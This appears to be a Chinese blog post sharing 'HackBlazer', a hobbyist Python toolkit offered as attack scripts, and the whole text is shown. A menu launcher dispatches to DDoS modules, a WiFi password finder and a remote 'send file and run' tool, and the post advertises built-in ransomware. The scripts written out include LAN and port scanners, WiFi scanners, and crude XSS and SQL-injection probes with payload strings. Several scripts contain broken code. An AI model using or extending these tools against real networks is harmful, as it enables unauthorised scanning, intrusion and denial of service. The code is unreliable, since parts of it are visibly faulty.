这套免费开源的纯python3.11.9攻击脚本是我从2023的8月份写到2024的11月份,时间有点短但是里面的项目是真的能够进行脚本攻击的,本人保证能够成功运行(注意:使用该脚本仅限于Windows系统,其他系统可能有些脚本不支持!)
然后呢就是该项目更新问题,我会一直更新!直到2028年,这个开源项目我才会终止对它的更新与维护。
virus的话呢可以在 HackBlazer---virus python3.11.9版本-CSDN博客 中复制
注意!!!:
- 本开源项目不可传出其他平台!
- 本开源项目仅供参考,切记不可用于任何非法用途!!!
- 出事了我不担责的哈(一定要看!!!)
出事了我不担责的哈(一定要看!!!)
出事了我不担责的哈(一定要看!!!)
那么现在开始你的复制和粘贴吧
1.主程序
这个是主程序,是用来调用其他脚本程序的
这个是"hackblazerM",一定要这样命名,不然用不了,后面自己加后缀!
import time
import subprocess
import platform
import sys
import os
import tkinter as tk
os.system('cls' if os.name == 'nt' else 'clear')
front_loaded_suffixPY = input("suffix <<")
if front_loaded_suffixPY == "":
front_loaded_suffixPY = ".py"
suffixPY = front_loaded_suffixPY
print(f"以默认后缀名为 {suffixPY} !")
print(f"后缀为{front_loaded_suffixPY}")
time.sleep(0.5)
print("正在检查 DigitalTrailBlazer-hackblazer协议 是否异常")
time.sleep(0.5)
file_path2 = ("DigitalTrailBlazer-hackblazer协议" + front_loaded_suffixPY)
if os.path.exists(file_path2):
print("正常")
else:
print("异常")
sys.exit()
time.sleep(0.5)
def on_mousewheel(event):
# 根据鼠标滚轮方向滚动文本框的视图
text_widget.yview_scroll(int(-1 * (event.delta / 120)), "units")
def agree():
root.destroy()
def decline():
print("已为您退出该程序")
os.system('cls' if os.name == 'nt' else 'clear')
root.destroy()
sys.exit()
root = tk.Tk()
root.title("协议")
root.geometry("800x500")
# 用于标记用户是否已经做出选择的变量
choice_made = False
def enable_program_continue():
global choice_made
choice_made = True
text_widget = tk.Text(root)
text_widget.pack(fill=tk.BOTH, expand=True)
text_widget.insert(tk.END, "<DigitalTrailBlazer>\n")
text_widget.insert(tk.END, """
HackBlazer免责声明
用户在使用本软件前应仔细阅读本免责声明,继续使用表示用户接受所有条款。
本软件的使用受限于用户已获得合法授权,开发者不对用户授权的合法性进行审查,用户自行对因授权问题导致的法律后果负责。
本软件可能存在未知漏洞或错误,尽管开发者尽力改进,但对于因这些问题导致的用户数据丢失、系统损坏或其他不良后果,开发者不承担责任。
用户不得将本软件用于任何非法目的,如网络犯罪、恶意攻击、未经授权的系统入侵等,否则将依法承担全部责任。
本软件仅供合法的安全测试、网络研究、企业内部安全评估等授权场景使用,未经授权用于其他目的属于用户违规行为。
在使用本软件进行操作时,用户应采取合理措施防止对目标系统造成损害,因用户疏忽造成的损失由用户自行承担。
对于因不可抗力(如自然灾害、战争、政府行为、网络故障等超出开发者控制范围的情况)导致的软件问题或用户损失,开发者不承担责任。
本软件的使用许可仅授予用户个人或特定授权实体,未经许可不得分发、共享、出租、出售本软件,否则用户承担侵权责任。
用户不得利用本软件对政府机构、军事设施、关键基础设施(能源、通信、金融等)进行未经授权的访问或攻击,否则自行承担法律后果。
本软件不保证与所有的操作系统、硬件设备或其他软件完全兼容,因兼容性问题导致的问题,开发者不承担责任。
用户使用本软件产生的任何直接或间接损失,包括但不限于经济损失、数据损失、业务中断等,开发者不承担赔偿责任。
开发者不承担因用户使用本软件对第三方造成损害而引发的任何责任,包括但不限于第三方索赔、诉讼等。
用户不得使用本软件收集、存储或传播违反隐私法规的个人信息,若有违反,用户承担责任。
若用户修改本软件或创建衍生作品且未获得开发者书面同意,将承担知识产权相关法律责任。
本软件仅作为一种工具提供,用户应对其使用行为和相关决策负责,开发者不对用户的决策失误承担责任。
用户不得使用本软件干扰或破坏其他软件、网络服务的正常运行,如有违反,自行承担后果。
对于因软件更新、升级或停用导致的用户不便或损失,开发者不承担责任,用户应自行备份数据。
用户在使用本软件过程中若遇到技术问题,开发者可提供有限支持,但不保证问题一定能解决。
本软件中的任何信息、数据或功能仅作为参考,用户不应完全依赖,因依赖产生的问题开发者不负责。
开发者不承担因用户在软件使用过程中违反道德准则或行业规范而产生的任何后果。
本软件可能会受到网络环境的影响,如网络延迟、丢包等,开发者不对由此产生的问题负责。
用户不得使用本软件对教育机构、医疗机构、公益组织等特殊保护对象进行未经授权的渗透测试。
若用户利用本软件进行商业间谍活动、不正当竞争等违法商业行为,将依法承担责任。
本软件的知识产权归开发者所有,用户不得删除、掩盖或篡改软件中的知识产权标识。
用户不得使用本软件故意制造虚假信息、误导用户或进行欺诈活动,否则承担法律责任。
在使用本软件进行渗透测试等操作时,应遵守相关的安全标准和规范,因违反导致的问题用户负责。
开发者有权根据法律法规、技术发展等情况对软件进行修改或终止服务,用户应接受。
""")
# 绑定鼠标滚轮事件
text_widget.bind("<MouseWheel>", on_mousewheel)
agree_button = tk.Button(root, text="我同意", command=lambda: [agree(), enable_program_continue()])
agree_button.pack(pady=20)
decline_button = tk.Button(root, text="我拒绝", command=lambda: [decline(), enable_program_continue()])
decline_button.pack()
# 主循环,等待用户做出选择
while not choice_made:
root.update()
os.system('cls' if os.name == 'nt' else 'clear')
print("您已同意本协议")
print("""
---------------------------------------------------------------------------------------
""")
print("此程序由 DigitalTrailBlazer 团队提供技术支持")
time.sleep(1)
print("""
<DigitalTrailBlazer>
======================
此程序仅供教学
切勿用于任何非法活动
======================
""")
time.sleep(0.5)
system_name = platform.system()
if system_name != "Windows":
print("当前系统不是Windows系统")
else:
print("当前使用的系统为Windows系统")
time.sleep(0.5)
versionnumber = "computer client side [1.1.3] - Chinese"
print(f"您使用的版本为 <DigitalTrailBlazer> HackBlazer - [{versionnumber}]")
time.sleep(0.5)
while True:
try:
program = input("<DigitalTrailBlazer>HackBlazer <<")
if program == "check -m -l":#查看指定的库是否下载
subprocess.call(["python","查看指定的库是否下载" + suffixPY])
if program == "check -all -v":#查看所有内置病毒
subprocess.call(["python","查看所有内置病毒" + suffixPY])
if program == "check -wifi key":#查找wifi的密码
subprocess.call(["python","csdn-查找wifi的密码" + suffixPY])
if program == "check -m -web":#查找网段
subprocess.call(["python","查找网段" + suffixPY])
if program == "open cal":#打开计算机
subprocess.call(["python","打开计算机" + suffixPY])
if program == "find -r -ip":#查找真实ip
subprocess.call(["python","查找真实ip" + suffixPY])
if program == "use -ddos/1":#启用DDoS攻击 第1版
subprocess.call(["python","DDoS攻击 第1版" + suffixPY])
if program == "find -vul -ip":#查找指定ip的漏洞
subprocess.call(["python","查找指定ip的漏洞" + suffixPY])
if program == "check -m -ip":#查找我的ip
subprocess.call(["python","查找我的ip" + suffixPY])
if program == "use -ddos/2":#启用DDoS攻击 第2版
subprocess.call(["python3","DDoS攻击 第2版" + suffixPY])
if program == "check -internet card":#查看当前网卡
subprocess.call(["python3","查看当前网卡" + suffixPY])
if program == "req -web code":#爬取网页源代码
subprocess.call(["python3","爬取网页源代码" + suffixPY])
if program == "check -web":#查看指定网站的状态
subprocess.call(["python","查看指定网站的状态" + suffixPY])
if program == "use -ddos-1":#启用GH的DDoS攻击
subprocess.call(["python","GH-DDoS攻击" + suffixPY])
if program == "web tools":#启用GH的网络工具
subprocess.call(["python","GH-网络工具" + suffixPY])
if program == "listen -ip":#监听指定IP主机
subprocess.call(["python","监听ip主机" + suffixPY])
if program == "open game1":#启动内置小游戏---1
subprocess.call(["python","game1" + suffixPY])
if program == "use -ddos/3":#启用DDoS攻击 第3版
subprocess.call(["python","DDoS攻击 第3版" + suffixPY])
if program == "send file -ip host [run]":#向指定ip主机发送文件并运行
subprocess.call(["python","发送指定文件至指定IP并运行" + suffixPY])
if program == "scan -n -wifi/2":#扫描附近wifi 第2版
subprocess.call(["python","扫描附近wifi第2版" + suffixPY])
if program == "scan -n -wifi/3":#扫描附近wifi 第3版
subprocess.call(["python","扫描附近wifi第3版" + suffixPY])
if program == "help":#查看HackBlazer的所有代码
subprocess.call(["python","帮助" + suffixPY])
if program == "scan -m -lan":#扫描局域网和局域网内部活跃IP
subprocess.call(["python","扫描局域网和局域网内部活跃IP" + suffixPY])
if program == "req -web ip":#爬取网站的IP
subprocess.call(["python","爬取网站IP" + suffixPY])
if program == "use -ddos-2":#启用GH的DDoS攻击
subprocess.call(["python","GH-DDos" + suffixPY])
if program == "use -new cmd":#使用新的cmd终端
subprocess.call(["python","HBuse2" + suffixPY])
target_strings3 = ["cls", "clear", "clear screen", "cls screen"]
if program in target_strings3:#清屏
os.system('cls' if os.name == 'nt' else 'clear')
target_strings4 = ["hackblazer -version","hb -version","HackBlazer -version","HB -version","hackblazer version","hb version","HackBlazer version","HB version","version","vs","VS","VerSion","VERSION"]
if program in target_strings4:#查看版本
print(f"您使用的版本为 <CipherBreakers> HackBlazer - computer client side[{versionnumber}] - 中文版")
if program == "rep -video":#爬取视频
subprocess.call(["python","爬取视频" + suffixPY])
if program == "exit()":#退出
print("已为您退出该程序")
os.system('cls' if os.name == 'nt' else 'clear')
sys.exit()
except Exception as e:
print(f"发生错误:{e}")
2.帮助
这个是"帮助",一定要这样命名,不然用不了,后面自己加后缀!
print("<CipherBreakers>")
print("""
python标准库:
============================================================
"check -m -l":#查看指定的库是否下载
"check -all -v":#查看所有内置病毒
"open cal":#打开计算机
"find -r -ip":#查找真实ip
"check -m -web":#查找网段
"check -m -ip":#查找我的ip
"use -ddos/1":#启用DDoS攻击 第1版
"use -ddos/2":#启用DDoS攻击 第2版
"use -ddos/3":#启用DDoS攻击 第3版
"use -ddos-1"#启用GH的DDoS攻击1
"web tools"#启用GH的网络工具
"use -ddos-2"#启用GH的DDoS攻击2
"listen -ip":#监听指定IP主机
"open game1":#启动内置小游戏---1
"scan -n -wifi/2":#扫描附近wifi 第2版
"scan -n -wifi/3":#扫描附近wifi 第3版
"scan -m -lan":#扫描局域网和局域网内部活跃IP
"send file -ip host [run]":#向指定ip主机发送文件并运行
"use -new cmd":#使用新的cmd终端
"cls", "clear", "clear screen", "cls screen"#清屏
"help":#查看HackBlazer的所有代码
"exit":#退出
============================================================
第三方库:
============================================================
"rep -video":#爬取视频
"scan -n -ssid[wifi]":#扫描附近wifi
"check -wifi key/csdn":#查找wifi的密码
"find -vul -ip":#查找指定ip的漏洞
"check -internet card":#查看当前网卡
"req -web code":#爬取网页源代码
"check -web":#查看指定网站的状态
"req -web ip":#爬取网站的IP
============================================================
------------------------------------------------------------
GitHub创作者:
============================================================
"use -ddos-1"#启用GH的DDoS攻击1
"web tools"#启用GH的网络工具
"use -ddos-2"#启用GH的DDoS攻击2
============================================================
------------------------------------------------------------
CSDN创作者:
============================================================
"check -wifi key":#查找wifi的密码
============================================================
""")
3.查看当前局域网和局域网内活跃IP
这个是"查看当前局域网和局域网内活跃IP",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import ipaddress
import subprocess
print("<DigitalTrailBlazer>")
def get_local_ip():
"""获取本机的局域网IP地址"""
try:
# 创建一个UDP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 连接到公共DNS服务器
sock.connect(('8.8.8.8', 80))
# 获取本地IP地址
local_ip = sock.getsockname()[0]
sock.close()
return local_ip
except Exception as e:
print(f"获取本地IP地址时出错: {e}")
return None
def scan_network(network):
"""扫描指定网络中的活跃IP地址"""
active_ips = []
try:
# 创建一个IP网络对象
net = ipaddress.ip_network(network, strict=False)
for ip in net.hosts():
try:
# 使用ping命令检查IP是否活跃
response = subprocess.run(['ping', '-c', '1', str(ip)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if response.returncode == 0:
active_ips.append(str(ip))
except Exception as e:
print(f"扫描IP {ip} 时出错: {e}")
except ValueError as e:
print(f"网络地址格式错误: {e}")
return active_ips
if __name__ == "__main__":
local_ip = get_local_ip()
if local_ip:
print(f"本机局域网IP地址: {local_ip}")
# 假设本机IP在192.168.1.x网段
network = f"{local_ip.split('.')[0]}.{local_ip.split('.')[1]}.0.0/24"
print(f"正在扫描网络: {network}")
active_ips = scan_network(network)
if active_ips:
print("活跃的IP地址:")
for ip in active_ips:
print(ip)
else:
print("未发现活跃的IP地址。")
else:
print("无法获取本机局域网IP地址。")
4.查看当前网卡
这个是"查看当前网卡",一定要这样命名,不然用不了,后面自己加后缀!
import psutil
print("<DigitalTrailBlazer>")
def view_network_cards():
interfaces = psutil.net_if_addrs()
for interface_name, interface_addresses in interfaces.items():
print("网卡名称:", interface_name)
for address in interface_addresses:
print(" 地址类型:", address.family.name)
print(" 地址:", address.address)
print(" 网络掩码:", address.netmask)
print(" 广播地址:", address.broadcast)
if __name__ == "__main__":
view_network_cards()
5.查看所有内置病毒
这个是"查看所有内置病毒",一定要这样命名,不然用不了,后面自己加后缀!
想要同款病毒可以到我主页复制 HackBlazer---virus python3.11.9版本-CSDN博客
print("DigitalTrailBlazer")
print("virus1 ------ 一个很难关掉的窗口")
print("virus2 ------ 恶心的勒索程序")
6.查看指定的库是否下载
这个是"查看指定的库是否下载",一定要这样命名,不然用不了,后面自己加后缀!
import importlib
print("<DigitalTrailBlazer>")
def check_library_installed(library_name):
try:
importlib.import_module(library_name)
return True
except ImportError:
return False
library_to_check = input("library <<")
if check_library_installed(library_to_check):
print(f"{library_to_check} 已安装。")
else:
print(f"{library_to_check} 未安装。")
7.查看指定网站的状态
这个是"查看指定网站的状态",一定要这样命名,不然用不了,后面自己加后缀!
import requests
print("<DigitalTrailBlazer>")
def check_website_status(url):
try:
response = requests.get(url)
print(f"网站状态码: {response.status_code}")
if response.status_code == 200:
print("网站可以正常访问")
elif response.status_code == 404:
print("页面未找到")
elif response.status_code == 500:
print("服务器内部错误")
else:
print("其他状态码")
except requests.RequestException as e:
print(f"访问网站出错: {e}")
if __name__ == "__main__":
url = input("请输入网站地址: ")
check_website_status(url)
8.查看网段
这个是"查找网段",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import threading
print("<DigitalTrailBlazer>")
def get_local_network_segment():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
subnet_mask = None
interfaces = socket.if_nameindex()
for interface_name, interface_index in interfaces:
if interface_name.startswith('Ethernet') or interface_name.startswith('Wi-Fi'):
interface_info = socket.if_addresses(interface_index)
for info in interface_info:
if info[0] == socket.AF_INET:
subnet_mask = info[2][0]
break
if subnet_mask:
break
if subnet_mask is None:
return None
ip_parts = [int(x) for x in ip.split('.')]
mask_parts = [int(x) for x in subnet_mask.split('.')]
network_parts = [ip_parts[i] & mask_parts[i] for i in range(4)]
return '.'.join(map(str, network_parts)) + '/24'
except Exception as e:
return None
def scan_local_network(network_segment):
found_devices = []
def scan_ip(ip):
try:
hostname, _, _ = socket.gethostbyaddr(ip)
found_devices.append((ip, hostname))
except socket.herror:
pass
threads = []
for i in range(1, 255):
ip = f"{network_segment[:-3]}{i}"
t = threading.Thread(target=scan_ip, args=(ip,))
t.start()
threads.append(t)
for t in threads:
t.join()
return found_devices
if __name__ == "__main__":
segment = get_local_network_segment()
if segment:
print(f"本地局域网网段为:{segment}")
devices = scan_local_network(segment)
for ip, name in devices:
print(f"IP: {ip}, Name: {name}")
else:
print("无法确定本地局域网网段。")
9.查找我的ip
这个是"查找我的ip",一定要这样命名,不然用不了,后面自己加后缀!
import socket
print("<DigitalTrailBlazer>")
def get_local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
local_ip = s.getsockname()[0]
s.close()
return local_ip
except Exception as e:
print(f"获取本机IP地址时出错: {e}")
return None
if __name__ == "__main__":
local_ip = get_local_ip()
if local_ip:
print(f"本机IP地址是: {local_ip}")
10.查找真实ip
这个是"查找真实ip",一定要这样命名,不然用不了,后面自己加后缀!
import socket
print("<DigitalTrailBlazer>")
def get_canonical_ip(ip):
try:
# 尝试解析 IP 地址,如果成功则返回输入的 IP,因为它已经是正式 IP
socket.inet_aton(ip)
return ip
except socket.error:
try:
# 如果输入不是正式 IP,则尝试通过域名解析获取正式 IP
canonical_name = socket.gethostbyname(ip)
return canonical_name
except socket.gaierror:
return "无法确定有效的 IP 地址"
ip = input("请输入 IP 地址或域名:")
print("真实IP为: ",get_canonical_ip(ip))
print(get_canonical_ip(ip))
11.查找指定ip的漏洞
这个是"查找指定ip的漏洞",一定要这样命名,不然用不了,后面自己加后缀!
import requests
from bs4 import BeautifulSoup
print("<DigitalTrailBlazer>")
# 设置请求超时时间(秒)
REQUEST_TIMEOUT = 8
def detect_xss_vulnerability(url):
try:
payload = "<script>alert('XSS');</script>"
response = requests.get(url, params={'input': payload}, timeout=REQUEST_TIMEOUT)
soup = BeautifulSoup(response.text, 'html.parser')
if payload in soup.prettify():
print(f"在 {url} 检测到跨站脚本漏洞(XSS)")
return True
print(f"在 {url} 未检测到跨站脚本漏洞(XSS)")
return False
except requests.exceptions.RequestException as e:
print(f"检测XSS漏洞时出错: {e}")
return False
def check_for_missing_elements(url):
try:
response = requests.get(url, timeout=REQUEST_TIMEOUT)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
# 这里假设检测是否存在某个关键的 <meta> 元素,比如用于设置字符编码的
meta_encoding_element = soup.find('meta', {'charset': True})
if not meta_encoding_element:
print(f"在 {url} 可能存在潜在漏洞,未检测到关键的 <meta> 元素(用于设置字符编码)。")
return True
print(f"在 {url} 未发现因关键 <meta> 元素缺失导致的潜在漏洞。")
return False
except requests.exceptions.RequestException as e:
print(f"检查元素缺失漏洞时出错: {e}")
return False
if __name__ == "__main__":
target_ip = input("ip <<")
target_url = f"http://{target_ip}/" # 假设目标IP上有Web服务,这里是对应的URL
detect_xss_vulnerability(target_url)
check_for_missing_elements(target_url)
12.打开计算机
这个是"打开计算机",一定要这样命名,不然用不了,后面自己加后缀!
import tkinter as tk
print("<DigitalTrailBlazer>")
def button_click(number):
current = entry.get()
entry.delete(0, tk.END)
entry.insert(tk.END, current + str(number))
def calculate():
try:
result = eval(entry.get())
history_text.insert(tk.END, f"{entry.get()} = {result}\n")
entry.delete(0, tk.END)
entry.insert(tk.END, result)
except Exception as e:
entry.delete(0, tk.END)
entry.insert(tk.END, "Error")
def clear():
entry.delete(0, tk.END)
def add_negative_sign():
current = entry.get()
if current and (current[0].isdigit() or current[0] in "("):
entry.insert(0, "-")
def clear_history():
history_text.delete(1.0, tk.END)
root = tk.Tk()
root.title("Simple Calculator")
entry = tk.Entry(root, width=30)
entry.grid(row=0, column=0, columnspan=4)
buttons = [
('7', 1, 0), ('8', 1, 1), ('9', 1, 2), ('/', 1, 3),
('4', 2, 0), ('5', 2, 1), ('6', 2, 2), ('*', 2, 3),
('1', 3, 0), ('2', 3, 1), ('3', 3, 2), ('-', 3, 3),
('0', 4, 0), ('.', 4, 1), ('=', 4, 2), ('+', 4, 3),
('C', 5, 0), ('±', 5, 1), ('Clear History', 5, 2) # 添加清除历史记录按钮
]
for label, row, col in buttons:
if label == 'C':
button = tk.Button(root, text=label, command=clear, width=10)
elif label == '=':
button = tk.Button(root, text=label, command=calculate, width=10)
elif label == '±':
button = tk.Button(root, text=label, command=add_negative_sign, width=10)
elif label == 'Clear History':
button = tk.Button(root, text=label, command=clear_history, width=15)
else:
button = tk.Button(root, text=label, command=lambda label=label: button_click(label), width=10)
button.grid(row=row, column=col)
history_text = tk.Text(root, height=5, width=30)
history_text.grid(row=6, column=0, columnspan=4)
root.mainloop()
13.发送指定文件至指定IP并运行
这个是"发送指定文件至指定IP并运行",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import os
print("DigitalTrailBlazer")
timeout = input("请输入超时时间(秒) <<")
def send_file_to_desktop(ip, port, file_path):
try:
# 创建socket对象
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout) # 设置超时时间
sock.connect((ip, port))
# 发送文件内容
with open(file_path, 'rb') as file:
while True:
data = file.read(1024)
if not data:
break
sock.sendall(data)
print(f"文件 {file_path} 已成功发送到 {ip}:{port}")
except Exception as e:
print(f"发送文件时出错: {e}")
finally:
sock.close()
def check_ip_validity(ip):
try:
socket.inet_aton(ip)
return True
except socket.error:
return False
def check_port_validity(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((ip, port))
if result == 0:
print(f"端口 {port} 在 {ip} 上是开放的")
return True
else:
print(f"端口 {port} 在 {ip} 上未开放")
return False
except Exception as e:
print(f"检查端口时出错: {e}")
return False
finally:
sock.close()
def main():
while True:
ip = input("请输入目标IP地址: ")
if not check_ip_validity(ip):
print("IP地址无效,请重新输入")
continue
port = input("请输入目标端口号: ")
try:
port = int(port)
if port < 0 or port > 65535:
raise ValueError
except ValueError:
print("端口号无效,请输入一个0到65535之间的整数")
continue
if not check_port_validity(ip, port):
confirm = input("端口未开放,是否继续?(y/n): ")
if confirm.lower() != 'y':
print("程序已退出")
return
file_path = input("请输入要发送的文件路径: ")
if not os.path.exists(file_path):
print("文件不存在,请重新输入")
continue
send_file_to_desktop(ip, port, file_path)
break
if __name__ == "__main__":
main()
14.监听ip主机
这个是"监听ip主机",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import threading
import tkinter as tk
from tkinter import ttk
import signal
import time
import sys
print("<DigitalTrailBlazer>")
# 检查单个端口是否开放
def check_port(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
try:
result = sock.connect_ex((host, port))
if result == 0:
return True
return False
except Exception:
return False
finally:
sock.close()
# 监听单个主机的多个端口
def monitor_host_ports(host, ports):
results = []
for port in ports:
open_status = check_port(host, port)
results.append((port, open_status))
return results
# 监听多个主机的多个端口
def monitor_multiple_hosts_ports(hosts, ports):
all_results = []
for host in hosts:
host_results = monitor_host_ports(host, ports)
all_results.extend([(host, port, status) for port, status in host_results])
return all_results
# 更新GUI显示结果
def update_gui(results):
for row in treeview.get_children():
treeview.delete(row)
for result in results:
if len(result) == 2:
host, (port, status) = result
treeview.insert("", "end", values=(host, port, status))
elif len(result) == 3:
host, port, status = result
treeview.insert("", "end", values=(host, port, status))
# 持续监听的函数
def continuous_monitoring():
global running
while running:
start_time = time.time()
results = monitor_multiple_hosts_ports(hosts, ports)
update_gui(results)
end_time = time.time()
elapsed_time = end_time - start_time
# 如果更新时间小于5秒,等待剩余时间,以保证大致每5秒更新一次
if elapsed_time < 5:
time.sleep(5 - elapsed_time)
# 定义处理Ctrl+C信号的函数,增强退出功能
def handle_ctrl_c(signal, frame):
print("接收到Ctrl+C,正在退出程序...")
global running
running = False
global monitor_thread
if monitor_thread.is_alive():
monitor_thread.join(timeout=3) # 最多等待3秒让线程结束
if monitor_thread.is_alive():
print("监听线程未能及时停止,强制退出...")
sys.exit(1) # 强制退出程序
root.destroy()
print("程序已成功退出。")
# 创建GUI窗口
root = tk.Tk()
root.title("网络端口监听")
# 获取用户输入的透明度值(0 - 1之间)
try:
alpha_value = float(input("请输入窗口透明度(0 - 1之间):"))
if 0 <= alpha_value <= 1:
root.attributes('-alpha', alpha_value)
else:
print("输入的透明度值不在有效范围内,使用默认值0.7。")
root.attributes('-alpha', 0.7)
except ValueError:
print("输入无效,使用默认值0.7。")
root.attributes('-alpha', 0.7)
root.configure(bg='#333333')
label = tk.Label(root, text="<DigitalTrailBlazer>")
label.pack(pady=20)
# 创建表格
treeview = ttk.Treeview(root, columns=("主机", "端口", "状态"), show="headings")
treeview.heading("主机", text="主机")
treeview.heading("端口", text="端口")
treeview.heading("状态", text="状态")
treeview.pack()
# 获取用户输入的主机和端口信息
hosts_input = input("请输入要监听的主机,多个主机用逗号分隔: ")
hosts = [host.strip() for host in hosts_input.split(',')]
ports_input = input("请输入要监听的端口,多个端口用逗号分隔: ")
ports = [int(port.strip()) for port in ports_input.split(',')]
# 启动监听线程
running = True
monitor_thread = threading.Thread(target=continuous_monitoring)
monitor_thread.start()
# 注册Ctrl+C信号处理函数
signal.signal(signal.SIGINT, handle_ctrl_c)
root.mainloop()
15.爬取视频
这个是"爬取视频",一定要这样命名,不然用不了,后面自己加后缀!
import tkinter as tk
from tkinter import messagebox
import requests
from PIL import Image, ImageTk
def create_main_window():
root = tk.Tk()
root.title("req video")
root.geometry("600x300")
label = tk.Label(root, text="<DigitalTrailBlazer>")
label.pack(pady=10)
# 创建输入框
url_label_url = tk.Label(root, text="video url")
url_label_url.pack(pady=5)
url_entry1 = tk.Entry(root, width=50)
url_entry1.pack(pady=10)
# 创建按钮
start_button = tk.Button(root, text="Start", command=lambda: start_crawling(url_entry1.get()))
start_button.pack(pady=20)
root.mainloop()
def start_crawling(url):
try:
response = requests.get(url, stream=True) # 设置stream为True以分块获取数据,提高效率和节省内存
response.raise_for_status()
# 这里简单以获取视频的第一帧画面作为示意(不同视频格式获取首帧方式不同,此为简单模拟)
first_frame_data = None
for chunk in response.iter_content(chunk_size=1024):
if first_frame_data is None:
first_frame_data = chunk
else:
first_frame_data += chunk
# 简单判断是否达到一定长度,认为获取到首帧,实际情况更复杂需根据视频格式解析判断
if len(first_frame_data) > 1024 * 1024: # 示例阈值,可调整
break
# 使用PIL库打开获取到的数据(模拟为图片数据)
image = Image.open(first_frame_data)
photo = ImageTk.PhotoImage(image)
# 创建新窗口显示视频的首帧画面(示意)
new_window = tk.Toplevel()
new_window.title("视频首帧画面")
new_window.geometry("400x300")
video_label = tk.Label(new_window, image=photo)
video_label.image = photo # 避免图片被垃圾回收,需保持引用
video_label.pack(pady=20)
except requests.RequestException as e:
messagebox.showerror("错误", f"爬取视频时出错: {e}")
if __name__ == "__main__":
create_main_window()
16.爬取网页源代码
这个是"爬取网页源代码",一定要这样命名,不然用不了,后面自己加后缀!
import requests
print("<DigitalTrailBlazer>")
def crawl_webpage_source(url):
try:
response = requests.get(url)
response.raise_for_status() # 如果请求失败,抛出异常
return response.text
except requests.exceptions.RequestException as e:
print(f"爬取网页时出错: {e}")
return None
def save_to_txt(content, file_path):
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)
if __name__ == "__main__":
url = input("请输入要爬取的网页地址: ")
choice = input("请选择操作(1. 打印至终端;2. 下载至指定txt文件): ")
source_code = crawl_webpage_source(url)
if source_code:
if choice == '1':
print(source_code)
elif choice == '2':
file_path = input("请输入要保存的txt文件路径及文件名: ")
save_to_txt(source_code, file_path)
print(f"已成功将网页源代码保存至 {file_path}")
17.爬取网站ip
这个是"爬取网站IP",一定要这样命名,不然用不了,后面自己加后缀!
import socket
print("<DigitalTrailBlazer>")
website_url = input("请输入网站地址 <<")
try:
ip_address = socket.gethostbyname(website_url)
print(f"网站 {website_url} 对应的IP地址是: {ip_address}")
except socket.gaierror as e:
print(f"解析网站地址 {website_url} 出现错误: {e}")
18.扫描附近wifi第2版
这个是"扫描附近wifi第2版",一定要这样命名,不然用不了,后面自己加后缀!
第1版出现离奇的bug!所以没了。:)
import pywifi
from pywifi import const
import time
def scan_wifi():
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
time.sleep(2) # 等待扫描完成
scan_results = iface.scan_results()
return scan_results
import tkinter as tk
from tkinter import ttk
def update_wifi_list():
wifi_list.delete(*wifi_list.get_children()) # 清空表格
results = scan_wifi()
for result in results:
wifi_list.insert("", "end", values=(result.bssid, result.ssid, result.signal))
root = tk.Tk()
root.title("WiFi Scan")
label = tk.Label(root, text="<DigitalTrailBlazer>")
label.pack(pady=20)
# 创建表格
wifi_list = ttk.Treeview(root, columns=("Address", "Name", "Signal"), show="headings")
wifi_list.heading("Address", text="Address")
wifi_list.heading("Name", text="Name")
wifi_list.heading("Signal", text="Signal")
wifi_list.pack(fill=tk.BOTH, expand=True)
# 定时刷新
root.after(5000, update_wifi_list) # 每5秒刷新一次
root.mainloop()
import threading
def scan_wifi_thread():
while True:
update_wifi_list()
root.after(5000) # 每5秒刷新一次
thread = threading.Thread(target=scan_wifi_thread)
thread.daemon = True
thread.start()
19.扫描附近wifi第3版
这个是"扫描附近wifi第3版",一定要这样命名,不然用不了,后面自己加后缀!
import pywifi
from pywifi import const
import time
print("<DigitalTrailBlazer>")
def scan_wifi():
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
time.sleep(2) # 等待扫描完成
results = iface.scan_results()
wifi_list = []
for result in results:
info = {
'address': result.bssid,
'ssid': result.ssid,
'signal': result.signal
}
wifi_list.append(info)
return wifi_list
if __name__ == "__main__":
wifi_list = scan_wifi()
for wifi in wifi_list:
print(f"Address: {wifi['address']}, SSID: {wifi['ssid']}, Signal: {wifi['signal']}")
20.扫描漏洞
这个是"扫描漏洞",一定要这样命名,不然用不了,后面自己加后缀!
import requests
print("<DigitalTrailBlazer>")
def scan_vulnerabilities(url):
vulnerabilities = []
# 示例:检查SQL注入漏洞
sql_injection_url = url + "'"
try:
response = requests.get(sql_injection_url)
if "You have an error in your SQL syntax" in response.text:
vulnerabilities.append("SQL Injection Vulnerability")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
# 示例:检查XSS漏洞
xss_url = url + "<script>alert('XSS')</script>"
try:
response = requests.get(xss_url)
if "<script>alert('XSS')</script>" in response.text:
vulnerabilities.append("XSS Vulnerability")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
return vulnerabilities
def main():
target_url = input("Enter the target URL: ")
vulnerabilities = scan_vulnerabilities(target_url)
if vulnerabilities:
print("Vulnerabilities found:")
for vuln in vulnerabilities:
print(f"- {vuln}")
else:
print("No vulnerabilities found.")
if __name__ == "__main__":
main()
21.扫描指定ip漏洞工具
这个是"扫描指定ip漏洞工具",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import subprocess
print("<DigitalTrailBlazer>")
def scan_ports(ip, start_port, end_port):
"""扫描指定IP地址的端口"""
open_ports = []
for port in range(start_port, end_port + 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
